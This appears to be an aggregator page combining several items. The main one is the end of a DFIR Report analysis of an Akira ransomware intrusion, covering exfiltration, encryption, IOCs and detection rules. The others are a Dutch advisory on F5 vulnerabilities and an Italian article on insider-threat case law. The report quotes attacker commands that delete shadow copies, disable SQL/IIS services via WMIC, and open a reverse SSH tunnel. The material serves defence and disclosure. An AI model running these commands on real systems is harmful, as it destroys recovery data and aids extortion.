-p22 [email protected][.]60 -R 5554 Exfiltration The first notable transfer occurred after the establishment of the first reverse SSH tunnel on a domain controller. Network flow analysis revealed approximately 2.5GB of data transferred from the domain controller to the threat actor controlled server at 193[.]242[.]184[.]150 over port 22. The transfer occurred over a concentrated time period shortly after the tunnel was established, consistent with bulk data exfiltration. Analysis of Windows Event ID 5145 logs on Domain Controller A revealed the threat actor accessed the domain’s SYSVOL share at the same time that we see the ~2.5GB transfer initiate, indicating that SYSVOL data was likely exfiltrated. SYSVOL contains Group Policy Objects, login scripts, and domain-wide configurations. By accessing SYSVOL, the threat actor would have gained visibility into the organization’s security posture and Active Directory infrastructure. FileZilla was the primary method of exfiltration during this intrusion with the initial transfer taking place on the third day, roughly 39 hours after initial access. After executing C:\\ProgramData\\FileZilla_3.68.1_win64_sponsored2-setup.exe, the threat actor proceeded to connect to 185[.]174[.]100[.]203:22 to exfiltrate data. No file compression or specific harvesting tactics were observed, so it is likely the threat actor was just indiscriminately exfiltrating files from network shares; perhaps based on the names of the files/folders. The only collection methods observed showed a big interest in user data and credential gathering, likely to either sell the data or to be used by the threat actor for additional follow-on attacks. While the source of the FileZilla installer could not be identified, we were able to surface file creation logs that show explorer.exe as the responsible process. Considering that RDP was used throughout this intrusion, and there were rdpclip executions just before FileZilla execution on the File Sever, it is likely this executable was transferred via RDP clipboard from the threat actor’s machine to the File Server. "_timestamp": REDACTED, "Image": C:\Windows\Explorer.EXE, "TargetFilename": C:\ProgramData\FileZilla_3.68.1_win64_sponsored2-setup.exe, "ProcessGuid": {7992d2de-71d7-6873-9387-010000000e00}, "message": File created: RuleName: - UtcTime: REDACTED ProcessGuid: {7992d2de-71d7-6873-9387-010000000e00} ProcessId: 10560 Image: C:\Windows\Explorer.EXE TargetFilename: C:\ProgramData\FileZilla_3.68.1_win64_sponsored2-setup.exe CreationUtcTime: REDACTED User: \Administrator Note that the naming of this FileZilla executable is not unusual and this is the expected naming convention used for their free version installers. Analysis of Zeek logs show that roughly 77GB of data was transferred out of the victim network via two unique sessions originating from FileZilla. As stated earlier in the collection section, at least a portion of this was user credential data. Review of FileZilla’s recentservers.xml log file shows the username Stark was used. Logon type 2 indicates the password is prompted and manually entered each time and is not saved locally. Protocol 1 confirms SFTP protocol was used. SSH Exfiltration Sessions to 185.174.100.203:22 Session 1: CTXU3p4hyiBMiOHgta (Data Transfer #1) Source: :60368 Destination: 185.174.100.203:22 (Ukraine, AS-COLOCROSSING) Timestamp: REDACTED Duration: 16,362 seconds (~4.5 hours) Data Transferred: 39,282,787,186 bytes (39.28 GB) Connection Details: Protocol: SSH over TCP State: RSTO (Connection established, originator aborted with RST) SSH Client: SSH-2.0-FileZilla_3.68.1 SSH Server: SSH-2.0-OpenSSH_for_Windows_9.8 Win32-OpenSSH-GitHub Session 2: C5YTxCs9PfDHuCQLd (Data Transfer #2) Source: :60367 Destination: 185.174.100.203:22 (Ukraine, AS-COLOCROSSING) Timestamp: REDACTED Duration: 16,733 seconds (~4.6 hours) Data Transferred: 41,177,980,833 bytes (41.77 GB) Connection Details: Protocol: SSH over TCP State: RSTO (Connection established, originator aborted with RST) SSH Client: SSH-2.0-FileZilla_3.68.1 SSH Server: SSH-2.0-OpenSSH_for_Windows_9.8 Win32-OpenSSH-GitHub Impact Data Encryption Approximately 44 hours after the initial compromise, the threat actor initiated the Akira ransomware deployment, beginning with the backup server. The binary, staged as C:\ProgramData\locker.exe, was executed using the following parameters: locker.exe -p=G:\ -n=15 . In this context, the -p flag defines the target encryption path, while -n determines the percentage of each file to be encrypted—a tactic often used to speed up the encryption process. On the file server, the threat actor uninstalled FileZilla, likely to remove evidence of exfiltration, before executing the ransomware locally. From the domain controller, the threat actor utilized remote execution flags to target and encrypt network shares, followed by several additional passes across various directories to maximize the impact of the deployment. The threat actor monitored encryption progress by reviewing log files generated by the ransomware. On day five, the threat actor re-entered the environment via RustDesk, pivoting to the child domain controller via RDP. Once positioned, the threat actor executed the ransomware binary 39 times on that specific domain controller. Shadow Copy Deletion The Akira ransomware binary automated the deletion of Volume Shadow Copies upon execution, leveraging WMI to trigger a PowerShell command. On every impacted host, each locker.exe instance was followed by a shadow copy deletion within approximately one second: powershell.exe -Command "Get-WmiObject Win32_Shadowcopy | Remove-WmiObject" Swisscom Nine hours after gaining initial access, the threat actor initiated the ransomware deployment, beginning with the domain controller and subsequently propagating to additional servers. Prior to the encryption phase, the threat actor performed a coordinated service termination to ensure that database files and web services were unlocked and accessible for encryption. Using WMIC, they targeted every host listed in hosts1.txt to disable and terminate services associated with SQL and IIS: Service Disabling wmic /node:@C:\temp\hosts1.txt /failfast:on service where "Name Like '%sql%'" call ChangeStartmode Disabledwmic /node:@C:\temp\hosts1.txt /failfast:on service where "Name Like '%iis%'" call ChangeStartmode Disabled Process Termination wmic /node:@C:\temp1\hosts.txt /failfast:on process where "CommandLine Like '%sql%'" delete The ransomware payload, renamed as win.exe, was staged in the C:\ProgramData directory and executed with the following parameters: .\win.exe -n=2 netonly . The use of the -n=2 flag indicates a specific encryption threshold, while the netonly argument was likely used to focus the impact on network-accessible resources and shares. Timeline Diamond Model Indicators Atomic opmanager[.]pro download-center[.]online ev2sirbd269o5j[.]org - BumbleBee 2rxyt8yrhq0bgj[.]org - BumbleBee d1hmxkpwby0d4s[.]org - BumbleBee yj6jurm5qqkye5[.]org - BumbleBee ewujsfb1dp5ran[.]org - BumbleBee 8doj8uvx604eck[.]org - BumbleBee kwywztxoo2xdot[.]org - BumbleBee ky1d1p1daahe5t[.]org - BumbleBee ovh1kn1tcqw5kp[.]org - BumbleBee 6cimu4mc085em8[.]org - BumbleBee 5ka8rxp6t6eup2[.]org - BumbleBee ks501oz9nm3v05[.]org - BumbleBee v5rjsdqogstopr[.]org - BumbleBee 192.121.22.94 - BumbleBee 109.205.195.211 - BumbleBee 188.40.187.145 - BumbleBee 171.22.183.43 - BumbleBee 194.127.178.21 - BumbleBee 172.96.137.160 - AdaptixC2 193.242.184.150 - Reverse SSH Tunnel 185.174.100.203 - Exfil Server Computed ManageEngine-OpManager.msi 124a48b78060fa851e1cc077ca35713c ab82bf27132323861810c0efcac6d5dd01600dd4 186b26df63df3b7334043b47659cba4185c948629d857d47452cc1936f0aa5da msimg32.dll ca8646dfc88423bb9fffda811160cebe febbaf5f08a8e0782ffcce8beef1f2b4e249a52b a6df0b49a5ef9ffd6513bfe061fb60f6d2941a440038e2de8a7aeb1914945331 locker.exe 8c113b3aa82c81eee7c6b4ed0ba9a90f d66944e1a57daf04d3e809f22cd01946d593acaf de730d969854c3697fd0e0803826b4222f3a14efe47e4c60ed749fff6edce19d Detections Network 2056726 : ET MALWARE BumbleBee Loader CnC Checkin 2056727 : ET MALWARE BumbleBee Loader CnC Server Response 2027174 : ET INFO Command Shell Activity Over SMB - Possible Lateral Movement 2047702 : ET INFO External IP Lookup Domain (ipify .org) in DNS Lookup 2047703 : ET INFO External IP Address Lookup Domain (ipify .org) in TLS SNI 2027267 : ET INFO Possible Lateral Movement - File Creation Request in Remote System32 Directory 2043343 : ET INFO RustDesk Domain in DNS Lookup 2044076 : ET INFO RustDesk Relay Domain in DNS Lookup 2025701 : ET INFO SMB2 NT Create AndX Request For an Executable File 2025703 : ET INFO SMB2 NT Create AndX Request For an Executable File In a Temp Directory 2027182 : ET INFO WMIC WMI Request Over SMB - Likely Lateral Movement 2027189 : ET NETBIOS DCERPC DCOM ExecuteShellCommand Call 2851485 : ETPRO INFO SMB/DCERPC Bind_ack with Big-Endian Assoc Group 2851484 : ETPRO INFO SMB/DCERPC Bind_ack with Endian Flipped Sigma Search rules on detection.fyi or sigmasearchengine.com 410f5c82-1fec-42d0-9552-7d9d885517b2 : Veeam Credential Dumping via PostgreSQL psql 637ab586-af22-4be2-9100-215952232f65 : DNS Zone Enumeration and Export via PowerShell e20f9b0e-b4af-40b7-8a9d-eaed7f61d4cd : LSASS Enumeration Followed by Memory Dump - Correlation Rule 9c4034f6-d413-49e1-b257-419775a14736 : Multiple DGA DNS Queries - Correlation Rule Sigma Repo: 646ea171-dded-4578-8a4d-65e9822892e3 : Process Memory Dump Via Comsvcs.DLL 4ac1f50b-3bd0-4968-902d-868b4647937e : DPAPI Domain Backup Key Extraction 87df9ee1-5416-453a-8a08-e8d4a51e9ce1 : Delete Volume Shadow Copies Via WMI With PowerShell 05a2ab7e-ce11-4b63-86db-ab32e763e11d : MMC Spawning Windows Shell fdb62a13-9a81-4e5c-a38f-ea93a16f6d7c : PowerShell Base64 Encoded FromBase64String Cmdlet ca2092a1-c273-4878-9b4b-0d60115bf5ea : Suspicious Encoded PowerShell Command Line b9d9cc83-380b-4ba3-8d8f-60c0e7e2930c : Suspicious PowerShell Encoded Command Patterns 8a582fe2-0882-4b89-a82a-da6b2dc32937 : Suspicious WmiPrvSE Child Process c7c8aa1c-5aff-408e-828b-998e3620b341 : MSI Installation From Suspicious Locations 2aa0a6b4-a865-495b-ab51-c28249537b75 : Startup Folder File Write 8e0bb260-d4b2-4fff-bb8d-3f82118e6892 : Potentially Suspicious CMD Shell Output Redirect 178e615d-e666-498b-9630-9ed363038101 : Elevated System Shell Spawned From Uncommon Parent Location 61065c72-5d7d-44ef-bf41-6a36684b545f : Elevated System Shell Spawned 4f4eaa9f-5ad4-410c-a4be-bc6132b0175a : CMD Shell Output Redirect a24e5861-c6ca-4fde-a93c-ba9256feddf0 : Uncommon Process Access Rights For Target Image 241e802a-b65e-484f-88cd-c2dc10f9206d : Read Contents From Stdin Via Cmd.EXE d21374ff-f574-44a7-9998-4a8c8bf33d7d : WmiPrvSE Spawned A Process 502b42de-4306-40b4-9596-6f590c81f073 : Local Accounts Discovery e28a5a99-da44-436d-b7a0-2afc20a5f413 : Whoami Utility Execution bd8b828d-0dca-48e1-8a63-8a58ecf2644f : Group Membership Reconnaissance Via Whoami.EXE 0ef56343-059e-4cb6-adc1-4c3c967c5e46 : Suspicious Execution of Systeminfo 903076ff-f442-475a-b667-4f246bcc203b : Nltest.EXE Execution 5cc90652-4cbd-4241-aa3b-4b462fa5a248 : Potential Recon Activity Via Nltest.EXE 183e7ea8-ac4b-4c23-9aec-b3dac4e401ac : Net.EXE Execution d95de845-b83c-4a9a-8a6a-4fc802ebf6c0 : Suspicious Group And Account Reconnaissance Activity Using Net.EXE cd219ff3-fa99-45d4-8380-a7d15116c6dc : New User Created Via Net.EXE 8eef149c-bd26-49f2-9e5a-9b00e3af499b : Pass the Hash Activity 2 4d07b1f4-cb00-4470-b9f8-b0191d48ff52 : DNS Query To Remote Access Software Domain From Non-Browser App fb843269-508c-4b76-8b8d-88679db22ce7 : Suspicious Execution of Powershell with Base64 692f0bec-83ba-4d04-af7e-e884a96059b6 : Potential WMI Lateral Movement WmiPrvSE Spawned PowerShell d0d28567-4b9a-45e2-8bbc-fb1b66a1f7f6 : Unusually Long PowerShell CommandLine 42f595c8-7223-43b1-93d3-0349a851a535 : PowerShell Get-Process LSASS in ScriptBlock 5b768e71-86f2-4879-b448-81061cbae951 : Suspicious Manipulation Of Default Accounts Via Net.EXE YARA AdaptixC2_listener_beacon_http AdaptixC2_listener_beacon_http_var2 BumblebeeC2 CAPE_Bumblebee2024 DITEKSHEN_MALWARE_Win_Akira MALPEDIA_Win_Bumblebee_Auto Multi_Ransomware_Akira_21842eb3 SECUINFRA_SUSP_Powershell_Base64_Decode SIGNATURE_BASE_MAL_WIN_Akira_Apr25 SIGNATURE_BASE_SUSP_PS1_JAB_Pattern_Jun22_1 SUSP_PS1_JAB_Pattern_Jun22_1 Windows_Ransomware_Akira_c8c298ba Windows_Trojan_Adaptix_b2cda978 Windows_Trojan_Bumblebee_35f50bea win_bumblebee_auto MITRE ATT&CK Create Account - T1136 Credentials from Password Stores - T1555 Data Encrypted for Impact - T1486 Data from Network Shared Drive - T1039 Distributed Component Object Model - T1021.003 DLL - T1574.001 Domain Account - T1087.002 Domain Generation Algorithms - T1568.002 Domain Groups - T1069.002 Domain Trust Discovery - T1482 Drive-by Compromise - T1189 Exfiltration Over C2 Channel - T1041 Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001 File and Directory Discovery - T1083 Inhibit System Recovery - T1490 Local Account - T1087.001 Local Groups - T1069.001 LSASS Memory - T1003.001 Malicious File - T1204.002 Masquerading - T1036 Network Service Discovery - T1046 Network Share Discovery - T1135 NTDS - T1003.003 PowerShell - T1059.001 Process Injection - T1055 Proxy - T1090 Remote Access Tools - T1219 Remote Desktop Protocol - T1021.001 Remote System Discovery - T1018 Service Execution - T1569.002 System Information Discovery - T1082 System Owner/User Discovery - T1033 Web Protocols - T1071.001 Windows Command Shell - T1059.003 Windows Management Instrumentation - T1047 Windows Service - T1543.003 File Deletion - T1070.004 Command Obfuscation - T1027.010 Internal case #TB36726 #PR40373
thedfirreport.comJun 29, 2026extracted
NCSC-2026-0162 [1.00] [M/H] Kwetsbaarheden verholpen in F5 BIG-IP en BIG-IQ producten
F5 heeft meerdere kwetsbaarheden verholpen in de BIG-IP en BIG-IQ productlijnen, inclusief componenten zoals iControl REST, iControl SOAP, TMOS Shell, Traffic Management Microkernel (TMM), Configuration utility, Advanced WAF, ASM, PEM, DNS, Access Policy Manager (APM) en SSL Orchestrator. De kwetsbaarheden betreffen onder andere directory traversal, ongeautoriseerde bestandswijzigingen, blootstelling van gevoelige SSH-wachtwoorden in API-responses en auditlogs, privilege escalatie via onjuiste permissie-toewijzingen, remote command injection, cross-account informatielekken, en onverwachte procesafsluitingen (zoals van TMM, httpd, apmd en bd processen) door specifieke configuraties of ongedocumenteerde verkeerspatronen. Exploitatie vereist doorgaans geauthenticeerde toegang met rollen variërend van Manager, Resource Administrator tot Administrator, afhankelijk van de kwetsbaarheid. Sommige kwetsbaarheden maken het mogelijk om configuratieobjecten te wijzigen, wat kan leiden tot het uitvoeren van willekeurige commando's met verhoogde privileges. Andere kwetsbaarheden betreffen het lekken van gevoelige informatie via onjuiste toegangscontrole of onvoldoende validatie binnen managementinterfaces. Diverse kwetsbaarheden zijn specifiek voor Appliance mode of bepaalde configuratieprofielen zoals SSL, HTTP/2, SIP, LDAP authenticatie, en SNMP configuraties. De impact omvat onder meer het omzeilen van beveiligingscontroles, het escaleren van privileges, het lekken van gevoelige gegevens, en het verstoren van de beschikbaarheid en stabiliteit van netwerk- en applicatiebeheercomponenten. Niet-ondersteunde softwareversies zijn in de meeste gevallen niet geëvalueerd voor deze kwetsbaarheden.
advisories.ncsc.nlMay 15, 2026extracted
エージェント型AI普及の壁は「技術」ではなく「組織」 導入を阻む4つのリスク
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itmedia.co.jpMay 3, 2026extracted
Infedeltà dei dipendenti e cybercrime: quando la minaccia viene dall’interno
Le violazioni informatiche non provengono soltanto dall’esterno delle organizzazioni: sempre più spesso, i responsabili sono dipendenti, collaboratori o ex soci che abusano dei propri privilegi di accesso per sottrarre dati, danneggiare sistemi, favorire la concorrenza. La giurisprudenza italiana – con un percorso evolutivo che ora ripercorriamo attraverso i casi più significativi – ha progressivamente affinato gli strumenti di risposta, elaborando principi capaci di intercettare condotte che il legislatore del 1993 non poteva nemmeno immaginare. Per gli amministratori delegati e i responsabili di impresa, conoscere queste pronunce non è un esercizio accademico: è una leva strategica per prevenire il rischio, strutturare i controlli e proteggere il patrimonio informativo aziendale. Indice degli argomenti Quando si parla di sicurezza informatica nelle imprese, l’immaginario collettivo evoca figure esterne, quali hacker, organizzazioni criminali, attori statali ostili. È una rappresentazione comprensibile, ma parziale. I dati disponibili – e, soprattutto, le aule dei tribunali – raccontano una storia diversa: una quota significativa degli incidenti informatici più gravi e costosi per le organizzazioni origina dall’interno, ad opera di soggetti che hanno accesso legittimo ai sistemi aziendali. Il dipendente infedele – termine che nel linguaggio giuridico designa chi, nell’ambito del rapporto di lavoro, viola gli obblighi di fedeltà, lealtà e riservatezza – non è una figura nuova. Ciò che è radicalmente cambiato, negli ultimi decenni, è la forma che questa infedeltà può assumere nel contesto digitale: dal semplice furto di documenti cartacei si è passati alla copia massiva di file su dispositivi personali, all’accesso abusivo a database riservati, all’esfiltrazione di segreti industriali attraverso la rete, fino al sabotaggio dei sistemi informativi aziendali. Queste condotte sollevano questioni giuridiche di non immediata soluzione. Il diritto penale tradizionale – costruito attorno a categorie come la “res mobile” (o “cosa mobile”), il domicilio fisico, la sottrazione materiale – fatica a intercettare violazioni che si consumano nello spazio virtuale, senza lasciare tracce tangibili, talvolta senza che la vittima se ne accorga per mesi. È stato compito della giurisprudenza elaborare, caso dopo caso, un’interpretazione evolutiva delle norme esistenti, capace di rispondere alle sfide del cyber crime interno. Nelle pagine che seguono ripercorriamo le tappe più significative di questo percorso, attraverso quattro grandi temi: l’accesso abusivo al sistema informatico, il furto di file, il cyber-spionaggio industriale e i controlli difensivi del datore di lavoro. Per ciascun tema, i casi giurisprudenziali selezionati offrono spunti non solo teorici, ma immediatamente operativi per chi guida un’impresa. “intrusi” a reato di “autorizzati” L’art. 615-ter del codice penale, introdotto con la Legge 547/1993, punisce chiunque «abusivamente si introduce in un sistema informatico o telematico protetto da misure di sicurezza ovvero vi si mantiene contro la volontà espressa o tacita di chi ha il diritto di escluderlo». La pena è la reclusione fino a tre anni, con aggravanti significative in presenza di specifiche qualifiche soggettive o di particolari finalità. La norma nasce, nel dibattito parlamentare dell’epoca, sull’analogia con la violazione di domicilio: il sistema informatico come «domicilio digitale», meritevole della stessa protezione accordata allo spazio fisico privato. Nel tempo, la giurisprudenza ha progressivamente spostato il fuoco dalla metafora del domicilio verso un concetto più preciso: la tutela della riservatezza informatica, intesa come lo spazio o l’ambito virtuale di libero godimento, indipendentemente dal fatto che vi siano dati, informazioni o programmi di particolare valore. Questa evoluzione non è solo teorica. Ha conseguenze pratiche rilevantissime: significa che il reato si perfeziona per il solo fatto dell’accesso o del mantenimento non autorizzato, indipendentemente da ciò che l’autore fa una volta che è dentro il sistema. Non serve sottrarre, modificare o danneggiare alcunché: è sufficiente esserci entrati. Per lungo tempo la norma fu applicata soprattutto ai casi «classici»: l’hacker esterno che viola le difese perimetrali di un sistema. Ma cosa succede quando a violare il sistema è qualcuno che ne ha le chiavi? Un dipendente, un funzionario, un collaboratore? La prima risposta arriva con la sentenza delle Sezioni Unite della Cassazione n. 4694 del 2011, pronunciata in un caso che vedeva un pubblico ufficiale accusato di aver consultato lo SDI – il sistema informativo interforze delle forze dell’ordine – per motivi personali, estranei all’esercizio delle sue funzioni. Il principio elaborato dalla Corte è di portata generale e vale per qualsiasi contesto lavorativo: “Si configura il delitto previsto dall’art. 615-ter c.p. allorché un soggetto, seppur abilitato, acceda o permanga in un sistema informatico o telematico protetto «violando le condizioni e i limiti risultanti dal complesso delle prescrizioni impartite dal titolare del sistema per delimitarne oggettivamente l’impiego», dovendo ritenersi decisiva la prova del compimento sul sistema di operazioni di natura intrinsecamente diversa da quelle di cui il soggetto era incaricato e per cui aveva ricevuto la facoltà di utilizzo”. Con questa pronuncia la Suprema Corte sposta definitivamente l’attenzione dalla condotta di chi «entra senza permesso» a quella di chi «rimane oltre il permesso ricevuto» o «usa il permesso per scopi diversi da quelli autorizzati». Non è più necessario forzare una porta: è sufficiente oltrepassare i limiti del proprio mandato. Con la seconda pronuncia delle Sezioni Unite rilevante in questo ambito – la n. 41210 del 2017 – la Cassazione compie un ulteriore passaggio evolutivo, portando alle sue logiche conseguenze il principio del 2011. Il caso riguardava un pubblico ufficiale che aveva consultato il registro delle notizie di reato (Re.Ge.) per ragioni strettamente personali, non essendoci in quell’ente alcuna procedura formalizzata che vietasse espressamente tale condotta. La difesa eccepì, in sostanza, che in assenza di regole scritte non poteva configurarsi una violazione. La Corte respinse l’argomento: “Integra il delitto previsto dall’art. 615-ter c.p. la condotta del pubblico ufficiale o dell’incaricato di un pubblico servizio che, pur essendo abilitato e pur in assenza di prescrizioni formali impartite dal titolare di un sistema informatico, vi acceda o si mantenga per ragioni ontologicamente estranee e comunque diverse rispetto a quelle per le quali, soltanto, la facoltà di accesso gli è attribuita”. ontologica incompatibilità Il concetto di «ontologica incompatibilità» è centrale: qualsiasi comportamento che si ponga in diretto contrasto con i propri doveri d’ufficio o con le finalità del mandato ricevuto, per sua natura, è abusivo – anche senza che esista un regolamento scritto che lo proibisca esplicitamente. Per i responsabili d’impresa, questa lettura ha implicazioni immediate: non è necessario prevedere esplicitamente ogni condotta vietata in un regolamento informatico. L’accesso a sistemi aziendali per finalità estranee all’attività lavorativa è già, di per sé, penalmente rilevante. Detto questo – e lo vedremo nelle conclusioni – dotarsi di policy chiare resta comunque una scelta organizzativa e preventiva di primaria importanza. Un aspetto spesso trascurato riguarda le conseguenze penali per chi non compie materialmente l’accesso abusivo, ma ne è il beneficiario o il mandante. La sentenza della Cassazione n. 565 del 2019 offre un’esemplificazione illuminante. Il caso: un dipendente bancario si era fatto inviare da un collega – che aveva i necessari privilegi di accesso – i file relativi alla posizione patrimoniale di un cliente importante, file ai quali il richiedente non aveva accesso per policy aziendale. Entrambi furono condannati per concorso nel reato di accesso abusivo. La logica è chiara: chi chiede a un collega di «portargli» informazioni alle quali non ha accesso si rende partecipe del disegno criminoso, anche se non ha materialmente interagito con il sistema informatico. Il principio è stato successivamente ribadito dalla Cassazione n. 1957 del 2020 in un caso ancora più articolato, dove la catena di istigazione coinvolgeva un intermediario esterno, un ispettore della Guardia di Finanza e un brigadiere ignaro degli accordi pregressi. Un’ulteriore pronuncia merita attenzione per il principio che enuncia con particolare nitidezza. La Cassazione, Sezione V penale, con sentenza n. 40295 del 31 ottobre 2024, ha affrontato il caso di un direttore di un hotel che aveva ottenuto da un’impiegata gerarchicamente subordinata le sue credenziali di accesso per consultare il database dei circa 90.000 clienti della struttura. La Corte ha confermato che si trattasse di accesso abusivo e ha enunciato un principio che vale per qualsiasi contesto organizzativo: “Viola le direttive, implicite ma chiare, del datore di lavoro il dipendente che, pur in posizione gerarchicamente sovraordinata rispetto al titolare delle credenziali di accesso ad un sistema informatico aziendale, se le faccia rivelare per farvi ingresso senza averne specifica autorizzazione, essendo sufficiente a rendere manifeste tali direttive la stessa protezione dei dati mediante credenziali di accesso”. La conclusione è inequivoca: le credenziali di accesso sono strettamente personali. Nessun grado nella gerarchia aziendale – direttore, dirigente, responsabile di funzione – attribuisce il diritto di usare le credenziali altrui. E, specularmente, il dipendente che cede le proprie credenziali – anche se sollecitato da un superiore – assume una propria responsabilità penale. Se il reato di accesso abusivo tutela la riservatezza del sistema informatico in sé, il diritto penale italiano conosce anche norme che proteggono il patrimonio – mediante i reati di furto (art. 624 c.p.) e appropriazione indebita (art. 646 c.p.). Queste norme presuppongono che l’oggetto della condotta sia una «cosa mobile». Ma la domanda é: e un file è una cosa mobile? Per decenni la risposta giurisprudenziale prevalente fu negativa: il furto di file era possibile solo come furto del supporto fisico che lo conteneva – un hard disk, una chiavetta USB. Il dato digitale, in sé, non aveva corporeità sufficiente a costituire oggetto di furto o appropriazione. Questa impostazione cominciò a vacillare con la sentenza n. 32383 del 2015, dove la Cassazione aveva confermato la condanna per furto di un avvocato che, prima di recedere da uno studio associato, aveva non solo copiato ma anche cancellato dal server i file relativi all’intera clientela. La cancellazione – comportando la perdita del dato originale – consentiva di qualificare la condotta come furto del file in senso proprio. Ma si trattava di una pronuncia che lasciava aperto il problema generale: “Il file è un supporto sul quale vengono immagazzinati i dati, che occupa uno spazio misurabile in bit e che può essere trasferito da un dispositivo a un altro, anche utilizzando la rete internet; si tratterebbe, quindi, di un’entità fisica, ancorché non percepibile attraverso i sensi”. La Corte si interroga su come si possa restare ancorati alla vecchia linea interpretativa «dopo l’avvento di Internet e del Cloud». I file vengono trasmessi senza alcun supporto tangibile; la loro conservazione avviene in ambienti virtuali. Ma questo non li rende meno reali, né meno suscettibili di appropriazione illecita. L’evoluzione tecnologica ha progressivamente creato entità che – per quanto non fisicamente percepibili – possiedono caratteri di materialità che consentono il loro spostamento e, di conseguenza, la loro illegittima appropriazione. La sentenza del 2020 è stata accolta con apprezzamento, ma anche con qualche riserva da parte della dottrina. Lo sforzo ermeneutico è notevole: per qualificare il file come «cosa mobile», i giudici hanno dovuto operare un’estensione interpretativa che – per quanto logicamente fondata – rimane ad alto tasso di discrezionalità. La vera domanda, come efficacemente formulata nella riflessione giuridica che accompagna questa sentenza, è un’altra: perché nel 2025 dobbiamo ancora ricorrere a forzature interpretative per affermare che un file – un’entità che esiste, occupa spazio, ha valore economico e può essere sottratta – merita tutela penale? Forse, ciò che manca, in fondo, è il coraggio – in capo al legislatore in primis – di pensare alla realtà tecnologica come a un «terzo genere», dotato di proprie caratteristiche e di proprie specifiche esigenze di tutela. Nell’economia contemporanea, il valore di un’impresa è in larga misura immateriale: brevetti, know-how, database clienti, offerte commerciali, algoritmi, progetti tecnici. Questo patrimonio è quasi interamente in formato digitale e, in quanto tale, è esposto a rischi di esfiltrazione che il perimetro fisico dell’azienda non può presidiare. I casi di cyber-spionaggio industriale da parte di dipendenti o ex dipendenti sono numerosi nella giurisprudenza recente. Tre episodi – portati all’attenzione della Cassazione – illustrano bene le dinamiche ricorrenti. Il primo caso vede due ex dipendenti che, prima di dimettersi, si erano tenuti aperto un «ingresso» al sistema informatico aziendale del datore di lavoro, per accedervi illecitamente, e compiere condotte anticoncorrenziali una volta usciti dalla società. Nel secondo caso, un dipendente di un’azienda manifatturiera, al momento delle dimissioni, aveva copiato su supporti informatici personali i dati ingegneristici e di progettazione dell’ex datore di lavoro, al fine dichiarato di avvantaggiare una diretta concorrente presso cui si stava trasferendo. La Cassazione ha confermato la condanna: la condotta integrava sia il reato di accesso abusivo (per il mantenimento nel sistema per finalità diverse da quelle lavorative) sia la violazione dei segreti industriali. Il terzo caso è più complesso e di grande interesse per le implicazioni in tema di violazione del segreto industriale e sulla tecnica del reverse engineering. Due dipendenti di una società – Direttore Commerciale e Responsabile Tecnico – erano passati a una diretta concorrente. Prima di farlo, avevano compiuto accessi massivi al sistema informatico dell’ex datore di lavoro per finalità diverse da quelle lavorative, copiato centinaia di file commerciali e tecnici, e – attraverso questi file – predisposto le offerte della nuova società utilizzando il know-how del vecchio datore di lavoro. La Cassazione ha confermato le condanne su tutti i punti contestati, con alcune precisazioni di notevole interesse pratico. Primo: l’uso del PC aziendale per svolgere attività riferibili alla nuova società è già, di per sé, accesso abusivo (art. 615 ter c.p.) — indipendentemente da quale tipo di file venisse elaborato. L’«ontologica incompatibilità» dell’accesso si manifesta nel semplice fatto di usare gli strumenti della propria azienda per lavorare per terzi. Secondo: la copiatura massiva di file nei giorni immediatamente precedenti le dimissioni è qualificata come accesso abusivo per mantenimento nel sistema per ragioni diverse da quelle lavorative – e ciò a prescindere dalla tesi difensiva del «passaggio di consegne» (tesi peraltro smentita dalle testimonianze). Terzo: ai fini della violazione dei segreti industriali (art. 623 c.p.), non rileva che i file fossero parzialmente obsoleti o in numero limitato. Ciò che conta è il valore strategico dell’utilizzo che ne è stato fatto: 189 offerte commerciali costruite a partire dai file dell’ex datore di lavoro dimostrano inequivocabilmente il trasferimento di know-how. Quarto (e questo è il punto di maggior interesse): la Corte ha escluso che la tecnica del reverse engineering potesse costituire una giustificazione. Il cliente finale aveva messo a disposizione della nuova società la macchina prodotta dall’azienda originaria, affinché potesse essere replicata a prezzo inferiore. La difesa sosteneva che sarebbe stato comunque possibile ricostruire il prodotto attraverso i dati del brevetto scaduto e l’analisi della macchina stessa. La risposta della Corte è netta: il reverse engineering non purifica una condotta che si è già consumata attraverso l’illecita appropriazione dei file originali. I casi appena descritti portano a una conclusione che dovrebbe orientare le scelte strategiche di ogni impresa: il patrimonio informativo – inteso come l’insieme del know-how, dei dati commerciali, dei progetti tecnici e delle informazioni riservate – è un asset che necessita di protezione attiva e documentata. Potrebbe non essere sufficiente affidarsi al vincolo contrattuale di riservatezza o alle clausole di non concorrenza post-contrattuale. Occorre strutturare l’accesso ai sistemi informativi secondo criteri di necessità e proporzionalità, monitorare le anomalie (come gli accessi massivi in prossimità di date di cessazione del rapporto), e documentare il valore strategico delle informazioni riservate – elemento che, come abbiamo visto, la giurisprudenza valorizza nell’accertamento del reato. Il presupposto da cui partire è che il datore di lavoro ha il diritto – e il dovere- di controllare che le risorse aziendali vengano utilizzate in modo lecito e conforme alle proprie direttive. Il fondamento normativo si trova negli artt. 2086 e 2104 del codice civile (potere direttivo e dovere di diligenza del lavoratore). Ma questo potere incontra limiti precisi, come l’art. 4 dello Statuto dei Lavoratori (L. 300/1970, come novellato dal D.Lgs. 151/2015) e la normativa in materia di protezione dei dati personali, inclusi i provvedimenti del Garante. La dialettica tra questi due poli – la legittima esigenza di controllo e la tutela della privacy del lavoratore – è stata al centro di un caso giudiziario che ha percorso tre gradi di giudizio, generando una pronuncia della Cassazione particolarmente rilevante per la sua precisione tecnica. I fatti, in sintesi: a seguito della propagazione di un virus nella rete aziendale, il reparto IT effettuò un accesso sul computer di una dipendente, scoprendo che il virus aveva origine da un file scaricato dalla lavoratrice. In quella stessa occasione, emerse anche una cronologia di navigazione personale particolarmente estesa – accessi a siti privati per un tempo tale da integrare una sostanziale interruzione della prestazione lavorativa. La lavoratrice fu licenziata per giusta causa. Il giudizio si protrasse fino alla Cassazione, che fu chiamata a pronunciarsi sulla legittimità dei dati raccolti. La Corte enunciò il principio fondamentale in modo inequivoco: “Sono consentiti i controlli anche tecnologici posti in essere dal datore di lavoro finalizzati alla tutela di beni estranei al rapporto di lavoro o ad evitare comportamenti illeciti, in presenza di un fondato sospetto circa la commissione di un illecito, purché sia assicurato un corretto bilanciamento tra le esigenze di protezione di interessi e beni aziendali, correlate alla libertà di iniziativa economica, rispetto alle imprescindibili tutele della dignità e della riservatezza del lavoratore, sempre che il controllo riguardi dati acquisiti successivamente all’insorgere del sospetto“. La novità più rilevante della pronuncia riguarda la delimitazione temporale del controllo 